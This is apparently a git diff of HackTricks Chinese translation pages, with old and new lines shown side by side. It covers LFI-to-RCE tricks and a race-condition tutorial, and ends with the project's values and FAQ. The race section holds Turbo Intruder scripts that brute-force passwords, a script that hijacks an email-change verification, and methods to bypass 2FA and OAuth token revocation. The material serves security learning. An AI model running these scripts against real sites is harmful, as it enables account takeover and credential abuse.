如果你发现一个 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 且 file_uploads = on 的文件,你可以得 RCE
如果你发现 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 且 file_uploads = on 的文件,你可以得 RCE
{{#ref}}
@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md
### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
如果你发现一个 **Local File Inclusion** 并且你可以 **exfiltrate** 临时文件的路径,但 **server** 正在 **checking** 要包含的文件是否有 PHP 标记,你可以尝试用这个 **Race Condition****bypass that check**
如果你发现**Local File Inclusion** 并且你**可以 exfiltrate the path** 临时文件的路径,但 **server** 正在**检查**要包含的文件是否有 PHP 标记,你可以尝试用这个 **Race Condition** 来**绕过该检查**
{{#ref}}
@ -648,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### 通过 eternal waiting + bruteforce
如果你能滥用 LFI 来 **upload temporary files** 并使 **server** 让 PHP 执行 **hang**,那么你可以花数小时去 **brute force filenames during hours**找到临时文件:
如果你能滥用 LFI 来 **upload temporary files** 并使服务器让 PHP 执行 **hang**,你就可以在数小时内 **brute force filenames**找到临时文件:
{{#ref}}
@ -657,15 +657,15 @@ lfi2rce-via-eternal-waiting.md
### 导致 Fatal Error
如果你包含以下任意文件 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`。(你需要包含相同的文件两次以抛出该错误)。
如果你包含以下任意文件 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`。(你需要包含相同的那个两次以抛出该错误)。
**我不知道这有何用途,但可能有用。**\
_即使你导致 PHP Fatal ErrorPHP 上传的临时文件也会被删除。_
**I don't know how is this useful but it might be.**\
_即使你导致 PHP Fatal ErrorPHP 上传的临时文件也会被删除._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## 参考资料
## 参考
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)

View File

@ -3,56 +3,56 @@
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
> 深入理解此技术,请查看原始报告 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
> 深入理解此技术,请查看原始报告 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
## 增强 Race Condition 攻击
## Enhancing Race Condition Attacks
利用 race conditions 的主要难点是确保多个请求在同一时间被处理,且它们的 **处理时间差异非常小——理想情况下小于 1ms**
利用 race conditions 的主要难点是确保多个请求在同一时间被处理,且它们的处理时间差异非常小——理想情况下小于 1ms。
下面一些用于同步请求的技术:
下面列出了一些用于同步请求的技术:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- **HTTP/2**支持在单个 TCP 连接上发送两个请求,从而减少网络抖动的影响。但由于服务器端差异,两次请求可能不足以稳定触发 race condition exploit
- **HTTP/1.1 'Last-Byte Sync'**:允许预发送 20-30 个请求的大部分内容,仅保留一个小片段,然后同时发送该片段,从而实现请求同时到达服务器。
- **HTTP/2**: 支持在单个 TCP 连接上发送两个请求,减少网络抖动的影响。但由于服务器端差异,两个请求可能不足以实现稳定的 race condition 利用
- **HTTP/1.1 'Last-Byte Sync'**: 允许预发送 20-30 个请求的大部分内容,保留一个小片段,然后将这些小片段一起发送,从而实现同时到达服务器。
**Last-Byte Sync 的准备工作包括:**
**Preparation for Last-Byte Sync** 包括:
1. 发送请求头和主体数据,省略最后一个字节且不结束流。
2. 在次发送后暂停 100ms。
3. 禁用 TCP_NODELAY 以利用 Nagle's algorithm 对最终帧进行批量处理
4. 通过 ping 预热连接。
1. 发送 headers 和 body 数据,但不包含最后一个字节,并且不结束流。
2. 在次发送后暂停 100ms。
3. 禁用 TCP_NODELAY,以利用 Nagle 的算法来批处理最后的帧
4. 通过 ping 预热连接。
随后发送被保留的帧应会在单个数据包中到达,可通过 Wireshark 验证。该方法不适用于静态文件,静态文件通常不涉及 RC attacks
随后发送被保留的帧应该会导致它们作为单个数据包到达,可通过 Wireshark 验证。该方法不适用于静态文件,静态文件通常不涉及 RC 攻击
### 适应服务器架构
### Adapting to Server Architecture
解目标的架构至关重要。前端服务器可能以不同方式路由请求,从而影响时序。通过无关紧要的请求进行服务器端的预热连接,可能会使请求时序更为一致。
解目标的架构至关重要。前端服务器可能以不同方式路由请求,从而影响时序。通过无害请求进行预先的服务器端连接预热,可能会使请求时序趋于一致。
#### 处理基于会话的锁定
#### Handling Session-Based Locking
像 PHP 的 session handler 这样的框架会按会话对请求进行序列化,可能掩盖漏洞。对每个请求使用不同的 session token 可以规避此问题。
像 PHP 的 session handler 这样的框架会按会话对请求进行序列化,可能掩盖漏洞。对每个请求使用不同的 session token 可以规避此问题。
#### 克服速率或资源限制
#### Overcoming Rate or Resource Limits
如果连接预热无效,通过大量无害请求触发 web 服务器的速率或资源限制延迟,可能会通过引起服务器端延迟来促成 single-packet attack。
如果连接预热无效,通过大量无害请求故意触发 Web 服务器的速率或资源限制延迟,可能会促成 single-packet attack,因为这会在服务器端引入有利于 race condition 的延迟
## 攻击示例
## Attack Examples
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**:你可以将请求发送到 **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),在请求中修改要对 **`%s`** 进行 brute force 的值,例如 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单选择 **`examples/race-single-packer-attack.py`**
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
如果你要 **发送不同的值**,可以用这个修改后的代码,它使用来自剪贴板的 wordlist
If you are going to **发送不同的值**, you could modify the code with this one that uses a wordlist from the clipboard:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
> 如果网站不支持 HTTP2仅 HTTP1.1),请使用 `Engine.THREADED``Engine.BURP` 而不是 `Engine.BURP2`
> 如果目标网站不支持 HTTP2支持 HTTP1.1),请使用 `Engine.THREADED``Engine.BURP`,而不要使用 `Engine.BURP2`
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: 在需要先向 1 个 endpoint 发送请求,然后向其他多个 endpoint 发送请求以触发 RCE 的情况下,你可以修改 `race-single-packet-attack.py` 脚本为如下内容:
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: 如果你需要先向 1 个 endpoint 发送一个请求,然后向其他多个 endpoint 发送请求以触发 RCE你可以将 `race-single-packet-attack.py` 脚本修改为类似以下内容:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
- 它也可以在 **Repeater** 中通过 Burp Suite 的新 '**Send group in parallel**' 选项使用。
- 对于 **limit-overrun**,你可以在组里添加 **相同的请求 50 次**。
- 对于 **connection warming**,你可以在 **组** 的 **开始** **添加** 一些 **请求** 到 web 服务器的某个非静态部分
- 对于 **delaying** 进程在 **一个请求与另一个请求之间** 的 2 个子状态步骤,你可以 **在两个请求之间添加额外的请求**。
- 对于 **multi-endpoint** RC你可以开始发送 **请求**,该 **进入隐藏状态**,然后在其之后紧接着发送 **50 个请求****利用隐藏状态**
- 它也可以在 **Repeater** 中通过 Burp Suite 的新选项 '**Send group in parallel**' 使用。
- 对于 **limit-overrun**,你可以在组中添加 **same request 50 times**。
- 对于 **connection warming**,你可以在 **group** 的 **beginning** 添加一些针对 web 服务器非静态部分的 **requests**
- 对于在两个 substates 步骤中在处理 **one request and another** 之间进行 **delaying** 的情况,你可以在两个请求之间 **add extra requests between**。
- 对于 **multi-endpoint** RC你可以先发送那个会进入隐藏状态的 **request**,然后紧接着发送 **50 requests** 来利用该隐藏状态
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Automated python script**: The goal of this script is to change the email of a user while continually verifying it until the verification token of the new email arrives to the last email (this is because in the code it was seeing a RC where it was possible to modify an email but have the verification sent to the old one because the variable indicating the email was already populated with the first one).\
当在收到的邮件中找到单词 "objetivo" 时,我们就知道收到了已更改邮箱的验证令牌,攻击结束
- **Automated python script**: 该脚本的目标是更改某用户的邮箱,同时持续进行验证,直到新邮箱的验证令牌到达旧邮箱为止(这是因为在代码中出现了一个 RC可能修改了邮箱但验证发送到了旧邮箱因为指示邮箱的变量已经被最初的邮箱填充\
当在收到的邮件中找到单词 "objetivo" 时,我们就知道已收到被更改邮箱的验证令牌,并结束攻击
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@ -217,21 +217,29 @@ h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Improving Single Packet Attack
#### Turbo Intruder: 引擎与门控说明
在最初的研究中说明该攻击受限于 1,500 bytes。然而在 [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/),解释了如何通过使用 IP layer fragmentation 将 single packet attack 的 1,500-byte 限制扩展到 TCP 的 **65,535 B window limitation**(将单个数据包拆分为多个 IP 包)并以不同顺序发送,从而在所有碎片到达服务器之前阻止重组。该技术使研究者能够在大约 166ms 内发送 10,000 个请求。
- Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the singlepacket attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 lastbyte sync.
- `gate`/`openGate`: queue many copies with `gate='race1'` (or perattempt gates), which withholds the tail of each request; `openGate('race1')` flushes all tails together so they arrive nearly simultaneously.
- Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
- Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable `TCP_NODELAY` to encourage batching of the final frames.
注意,尽管此改进使在需要数百/数千个数据包同时到达的 RC 中攻击更可靠,但它也可能受到一些软件限制。一些流行的 HTTP 服务器如 Apache、Nginx 和 Go 对 `SETTINGS_MAX_CONCURRENT_STREAMS` 的设置非常严格,分别为 100、128 和 250。然而像 NodeJS 和 nghttp2 则是无限制的。\
这基本上意味着 Apache 只会从单个 TCP 连接中考虑 100 个 HTTP 连接(限制了此 RC 攻击)。
你可以在仓库中找到使用该 technique 的一些示例:[https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)。
### 改进 Single Packet Attack
In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.
请注意,虽然该改进在需要数百/数千个数据包同时到达的 RC 场景中提高了攻击的可靠性,但它可能也受到一些软件限制。像 Apache、Nginx 和 Go 这样的常见 HTTP 服务器对 `SETTINGS_MAX_CONCURRENT_STREAMS` 设置有严格限制,分别为 100、128 和 250。然而像 NodeJS 和 nghttp2 则没有限制。\
这基本上意味着 Apache 只会将来自单个 TCP 连接的 100 个 HTTP 连接视为并发(从而限制了该 RC 攻击)。
You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## Raw BF
在上述研究之前,有一些 payloads 会尽可能快地发送包以触发 RC。
Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
- **Repeater:** 请查看前一节的示例。
- **Intruder**: 将 **request** 发送到 **Intruder**,在 **Options menu** 中将 **number of threads** 设置为 **30**,选择作为 payload 的 **Null payloads** 并生成 **30**
- **Repeater:** Check the examples from the previous section.
- **Intruder**: 将 **request** 发送到 **Intruder**,在 **Options menu** 中将 **number of threads** 设置为 **30**,选择 payload 为 **Null payloads** 并生成 **30**
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@ -279,75 +287,75 @@ print(results)
asyncio.run(main())
```
## **RC 方法论**
## **RC Methodology**
### 超限 / TOCTOU
### Limit-overrun / TOCTOU
这是最基本的一类 race condition发生在那些对可执行某个操作次数进行限制的地方出现 **漏洞**。比如在网店中多次使用同一个折扣码。一个非常简单的例子可以在 [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) 或 [**this bug**](https://hackerone.com/reports/759247) 中看到。
这是最基本的一类 race condition出现在那些会限制你执行某个操作次数的地方,会出现 **vulnerabilities**。比如在网店中多次使用同一个折扣码。一个非常简单的例子可以在 [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) 或 [**this bug**](https://hackerone.com/reports/759247)**.**
这类攻击有许多变体,包括:
有许多这类攻击的变种,包括:
- 多次兑换同一礼品卡
- 多次同一产品评分
- 提取或转账导致超出账户余额
- 复用单次 CAPTCHA 的解答
- 绕过 anti-brute-force rate limit
- 多次兑换同一礼品卡
- 多次同一产品评分
- 提取或转账超出账户余额
- 重复使用同一个 CAPTCHA 的解答
- Bypassing an anti-brute-force rate limit
### **隐藏的子状态**
### **Hidden substates**
利用复杂的 race conditions 通常涉及利用短暂机会与隐藏或 **非预期的机器子状态** 交互。下面是应对思路
利用复杂的 race conditions 往往涉及在短暂的时间窗口内利用隐藏或 **unintended machine substates**。下面是一个方法论
1. **识别潜在的隐藏子状态**
- 从定位那些修改或与关键数据交互的端点开始,例如用户资料或密码重置流程。关注:
- **Storage**:优先选择操作服务器端持久数据的端点,而不是仅处理客户端数据的端点
- **Action**:寻找修改现有数据的操作,这类操作比添加新数据的操作更可能产生可利用的条件。
1. **Identify Potential Hidden Substates**
- 从定位那些修改或与关键数据交互的 endpoints例如 user profiles 或 password reset 流程)开始。重点关注:
- **Storage**:优先选择操作服务器端持久化数据的 endpoints而不是处理客户端数据的 endpoints
- **Action**:寻找会更改已有数据的操作,这类操作相比新增数据更可能产生可利用的条件。
- **Keying**:成功的攻击通常涉及基于相同标识符(例如 username 或 reset token的操作。
2. **进行初步探测**
- 对识别出的端点进行 race condition 测试,观察是否有与预期结果不符的情况。意外的响应或应用行为变化都可能表明存在漏洞。
3. **证明漏洞**
- 将攻击缩小到利用漏洞所需的最少请求数,通常只需两次请求。由于时序要求精确,这一步可能需要多次尝试或自动化
2. **Conduct Initial Probing**
- 使用 race condition 测试已识别的 endpoints观察是否有偏离预期的结果。意外的响应或应用行为变化可能表明存在漏洞。
3. **Demonstrate the Vulnerability**
- 将攻击缩小到利用该漏洞所需的最少请求数,通常只需两个请求。由于时序精确,可能需要多次尝试或使用自动化工具
### 时间敏感攻击
### Time Sensitive Attacks
精确控制请求时序可以揭示漏洞,尤其是在使用可预测方法(如基于时间戳)生成 security tokens 时。例如,如果基于时间戳生成 password reset tokens可能会导致同时请求时生成相同的 tokens。
精确控制请求时序可以揭露漏洞,尤其是在安全 token 使用可预测的方法(如基于时间戳)时。例如,基于时间戳生成 password reset tokens 可能导致并发请求时生成相同的 tokens。
**利用方式:**
**To Exploit:**
- 使用精确的时序(比如 single packet attack同时发起 password reset 请求。若生成相同的 tokens,则表明存在漏洞。
- 使用精确的时序(例如 single packet 攻击)发起并发的 password reset 请求。如果生成的 tokens 相同,则表明存在漏洞。
**示例:**
**Example:**
- 同时请求两个 password reset tokens 并进行比较。匹配的 tokens 表明 token 生成存在缺陷。
- 同时请求两个 password reset tokens 并比较它们。匹配的 tokens 表明 token 生成存在缺陷。
可以到 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) 试试。
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
## 隐藏子状态案例研究
## Hidden substates case studies
### 支付并添加一个商品
### Pay & add an Item
[**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) 查看如何在商店中 **支付****添加额外** 的商品,从而 **无需为其付款**
查看这个 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) 了解如何在商店中 **pay****add an extra** item使其不会被收费
### 确认其他邮箱
### Confirm other emails
思路是同时 **验证某个邮箱并将其更改为另一个邮箱**,以判断平台是否会验证更改后的新邮箱
思路是 **verify an email address and change it to a different one at the same time**,以判断平台是否会验证已更改的新地址
### 基于 Cookie 将邮箱改为两个地址
### Change email to 2 emails addresses Cookie based
根据 [**this research**](https://portswigger.net/research/smashing-the-state-machine)Gitlab 曾可通过这种方式被接管,因为它可能会 **将一个邮箱的 email verification token 发送到另一个邮箱**。
根据 [**this research**](https://portswigger.net/research/smashing-the-state-machine)Gitlab 曾因这种方式而可被 takeover因为它可能会 **send** the **email verification token of one email to the other email**。
[**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) 试试。
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
### 隐藏的数据库状态 / 确认绕过
### Hidden Database states / Confirmation Bypass
如果使用 **2 different writes** **database****添加** **信息**,会存在一小段时间窗口,期间 **只有第一份数据已被写入**。例如,在创建用户时,**username** 和 **password** 可能先被 **写入**,然后用于确认新账号的 **token** 才被写入。这意味着在短时间内,**用于确认账号的 token 为空**
如果使用 **2 different writes** **database****add** **information**,会存在一小段时间窗口,在该窗口中 **only the first data has been written** 到数据库中。例如,在创建用户时,**username** 和 **password** 可能先被 **written**,随后用于确认新建账户的 **token** 才被写入。这意味着在短时间内用于确认账户的 **token 是 null**
因此,**注册一个账号并立即发送多次带空 token 的请求**`token=``token[]=` 或其他变体)来确认该账号,可能允许**确认一个你不控制其邮箱的账号**
因此,**registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) 立即确认该账户,可能允许你在不控制该 email 的情况下 **confirm an account**
[**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) 试试。
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
### 绕过 2FA
### Bypass 2FA
下面的伪代码易受 race condition 攻击,因为在极短时间内,在创建会话时 **2FA 未被强制执行**
下面的 pseudo-code 易受 race condition 影响,因为在创建 session 的极短时间窗口内 **2FA is not enforced**
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -357,21 +365,21 @@ session['enforce_mfa'] = True
```
### OAuth2 永久持久化
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). 这些服务允许你创建一个应用并对提供者已注册的用户进行认证。为此,**client** 将需要 **permit your application** 去访问 **OAUth provider**的部分数据。\
So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). 这些服务允许你创建一个应用并对提供商已注册的用户进行认证。为此,**客户端**需要**允许你的应用**访问其在**OAUth provider**中的部分数据。\
所以,到这里只是常见的使用 google/linkedin/github 等登录你会看到一个页面提示“_Application \<InsertCoolName> wants to access you information, do you want to allow it?_”
#### Race Condition in `authorization_code`
当你**accept it** 时问题出现,系统会自动向恶意应用发送一个 **`authorization_code`**。然后,该 **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** 用于你的账户。基本上,它会利用你允许该应用访问你数据的事实来**create several accounts**。之后,如果你**stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**,某些 AT/RT 仍可能保持有效。
问题出现在你**接受它**并自动向恶意应用发送一个 **`authorization_code`** 之后。然后,这个**应用滥用 OAUth service provider 中的 Race Condition从该 `authorization_code` 为你的账户生成多个 AT/RT**Authentication Token/Refresh Token。基本上它会利用你已允许该应用访问你数据的事实来**创建多个账户**。随后,即使你**停止允许该应用访问你的数据**,会删除一对 AT/RT但其他的仍然有效。
#### Race Condition in `Refresh Token`
一旦你**obtained a valid RT**,你可能尝试**abuse it to generate several AT/RT**;即使用户撤销了对该恶意应用的权限,**several RTs will still be valid.**
一旦你**获得了一个有效的 RT**,你可以尝试**滥用它来生成多个 AT/RT**,即使用户撤销了对恶意应用的权限,**多个 RT 仍然会保持有效**。
## **RC in WebSockets**
## **RC 在 WebSockets 中**
- 在 [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) 你可以找到一个 Java PoC用于并行发送 websocket 消息以滥用 **Race Conditions also in Web Sockets**(参见仓库)
- 使用 Burps WebSocket Turbo Intruder 你可以使用 **THREADED** 引擎来生成多个 WS 连接并并行触发 payloads。请从官方示例开始并调整 `config()`(线程数)以获得并发性;在跨 WS handler 竞争服务器端状态时,这通常比在单个连接上批量发送更可靠。参见 [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)。
- 在 [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) 中可以找到一个用 Java 编写的 PoC用来以**并行**方式发送 websocket 消息,从而滥用 Web Sockets 中的 **Race Conditions**
- 使用 Burp 的 WebSocket Turbo Intruder 可以使用 **THREADED** 引擎生成多个 WS 连接并并行发送 payloads。以官方示例为起点并调整 `config()`(线程数)以实现并发;在跨 WS 处理程序竞争服务器端状态时,这通常比在单个连接上批量发送更可靠。参见 [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)。
## 参考资料

View File

@ -1,21 +1,21 @@
# HackTricks 价值观与常见问题
# HackTricks 价值观与常见问题
{{#include ../banners/hacktricks-training.md}}
## HackTricks 价值观
> [!TIP]
> 这些是 **HackTricks 项目的价值观**
> 这些是 **HackTricks Project 的价值观**
>
> - 向整个互联网提供 **FREE****EDUCATIONAL hacking** 资源访问
> - Hacking 是关于学习的,学习应尽可能免费。
> - 本书的目的是作为一全面的 **educational resource**
> - **STORE** 社区发布的优秀 **hacking** 技术,并将所有 **ORIGINAL AUTHORS** 列入 **credits**
> - **我们不想夺取别人的功劳**,我们只是想为每个人保存有趣的技巧。
> - 我们也在 HackTricks 中撰写 **我们自己的研究**。
> - 在若干情况下,我们只会在 HackTricks 中写出该技术重要部分的 **摘要**,并会 **鼓励读者访问原帖** 以获取更多细节。
> - **ORGANIZE** 书中的所有 **hacking** 技术,使其 **更易获取**
> - HackTricks 团队已经无偿投入数千小时 **仅用于组织内容**,以便人们能够 **更快地学习**
> - 提供 **FREE****EDUCATIONAL hacking** 资源,面向 **ALL Internet**
> - Hacking 是关于学习的,学习应尽可能免费。
> - 本书的目的是作为一全面的 **educational resource**
> - **STORE** 社区发布的精彩 **hacking** 技术,同时给予 **ORIGINAL** **AUTHORS** 所有 **credits**
> - **We don't want the credit from other people**, 我们只是想为所有人保存很酷的技巧。
> - 我们也在 HackTricks 中撰写 **our own researches**。
> - 在若干情况下,我们只会在 **HackTricks** 中写出该技术重要部分的 **summary**,并 **encourage the lector to visit the original post** 以获取更多细节。
> - **ORGANIZE** 书中所有的 hacking 技术,使其 **MORE ACCESSIBLE**
> - HackTricks 团队花了数千小时免费 **only to organize the content**,以便人们能 **learn faster**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -25,33 +25,33 @@
>
> - **Thank you so much for these resources, how can I thank you?**
你可以在一条推文中提及 [**@hacktricks_live**](https://twitter.com/hacktricks_live) 来公开感谢 HackTricks 团队将这些资源公开分享。\
如果你特别感激,也可以 [**sponsor the project here**](https://github.com/sponsors/carlospolop)\
别忘了在 Github 项目**给星星!**(链接见下方)。
你可以在推特上公开感谢 HackTricks 团队,将所有这些资源整理公开,并在推文中提到 [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
如果你特别感激,也可以 [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
别忘了在 Github 项目**give a star**(链接见下方)。
> [!TIP]
>
> - **How can I contribute to the project?**
你可以通过向相应的 Github 页面提交 **Pull Request****与社区分享新的 tips and tricks 或修复书中发现的 bug**
你可以通过向相应的 Github 页面发送 **Pull Request****share new tips and tricks with the community or fix bugs**
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
别忘了在 Github 项目上 **给星星!**
别忘了在 Github 项目**give a star**
> [!TIP]
>
> - **Can I copy some content from HackTricks and put it in my blog?**
可以,但 **别忘了标明具体的链接**,说明内容来自哪里
可以,但 **不要忘记标注具体的链接**,说明内容来自何处
> [!TIP]
>
> - **How can I cite a page of HackTricks?**
只要标出你引用信息的页面链接即可。\
如果你需要 bibtex可以使用类似下的格式:
只要出现你获取信息的页面的链接就足够了。\
如果你需要 bibtex可以使用类似下的格式:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -62,84 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
```
> [!WARNING]
>
> - **我可以把所有 HackTricks 内容复制到我的博客吗?**
> - **Can I copy all HackTricks in my blog?**
**我不太建议**。那**不会对任何人有益**,因为所有**内容已经在官方 HackTricks 书籍中免费公开**
**我不建议这样做**。这对任何人都**没有好处**,因为所有内容已经在官方的 HackTricks 书中免费公开可用
如果你担心它会消失,只需在 Github 上 fork 或下载,正如我说的,它已经是免费的。
如果你担心内容会消失,可以在 Github 上 fork 或下载,正如我说的,它已经是免费的。
> [!WARNING]
>
> - **为什么你们有赞助商HackTricks 书籍是用于商业目的的吗?**
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
首要的 **HackTricks** **价值观** 是向**全世界**提供**免费的**黑客教育资源。HackTricks 团队已经**投入了数千小时**来提供这些内容,再次强调,是**免费的**。
第一个 **HackTricks** **价值** 是向**全世界**提供**免费FREE**的黑客教育资源。HackTricks 团队已**投入数千小时**来提供这些内容,依然是**免费的**。
如果你认为 HackTricks 书籍是为了**商业目的**,那你**完全错误**。
如果你认为 HackTricks 书是为了**商业目的**而制作的,那你就**完全错了**。
我们有赞助商,因为即便所有内容都是免费的,我们也希望能**为社区提供一种表达对我们工作的认可**的方式(如果他们愿意的话)。因此,我们为人们提供通过[**Github sponsors**](https://github.com/sponsors/carlospolop) 向 HackTricks 捐赠的选项,并允许**相关的网络安全公司**赞助 HackTricks并在书中放置一些**广告**——这些**广告**始终放在能被**看见**但**不会干扰学习**过程的位置,如果有人专注于内容的话
我们有赞助商是因为,即使所有内容都是免费的,我们也希望**给社区提供一种表示感谢的方式**。因此,我们提供人们通过 [**Github sponsors**](https://github.com/sponsors/carlospolop) 捐助 HackTricks 的选项,并允许**相关的网络安全公司**赞助 HackTricks并在书中放置一些**广告**,这些**广告**始终放在**能被看见但不会干扰学习**的地方
你不会在 HackTricks 看到像其他内容远不及 HackTricks 的博客那样充斥恼人的广告,因为 HackTricks 并非为商业目的而制作。
你不会在 HackTricks 看到像其他内容远不如 HackTricks 的博客那样恼人的广告,因为 HackTricks 并非为商业目的而制作。
> [!CAUTION]
>
> - **如果某个 HackTricks 页面基于我的博客文章但没有被引用,我该怎么办?**
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
**我们非常抱歉。这样的情况不应该发生。** 请通过 Github issues、Twitter、Discord 等方式告知我们:包含该内容的 HackTricks 页面链接和你的博客链接,**我们会核查并尽快添加引用**。
**我们非常抱歉。这样的事情不应该发生**。请通过 Github issues、Twitter、Discord 等方式告知我们 —— 提供包含该内容的 HackTricks 页面链接和你博客的链接,**我们会检查并尽快添加引用**。
> [!CAUTION]
>
> - **如果 HackTricks 中有来自我博客的内容且我不希望它出现在那儿,我该怎么办?**
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
请注意,在 HackTricks 中包含指向你页面的链接会带来:
请注意,在 HackTricks 中指向你页面的链接会带来:
- 提升你的 **SEO**
- 内容会被**翻译成15种以上语言**,让更多人能够访问该内容
- **HackTricks 鼓励**人们去**查看你的页面**(有几位作者告诉我们,自从他们的某页收录在 HackTricks 后,他们获得了更多访问
- 内容会被**翻译成 15 种以上语言**,让更多人能够访问该内容
- **HackTricks 鼓励**人们**查看你的网站**(有好几位作者告诉我们,自从他们的页面出现在 HackTricks 后访问量增加了
但是,如果你仍然希望从 HackTricks 中移除你博客的内容,只需告知我们,我们会**删除所有指向你博客的链接**以及任何基于其的内容。
但是,如果你仍然希望我们把你博客的内容从 HackTricks 中移除,只需告知我们,我们会**删除所有指向你博客的链接**以及任何基于其的内容。
> [!CAUTION]
>
> - **如果我在 HackTricks 发现抄袭内容,我该怎么办?**
> - **What should I do if I find copy-pasted content in HackTricks?**
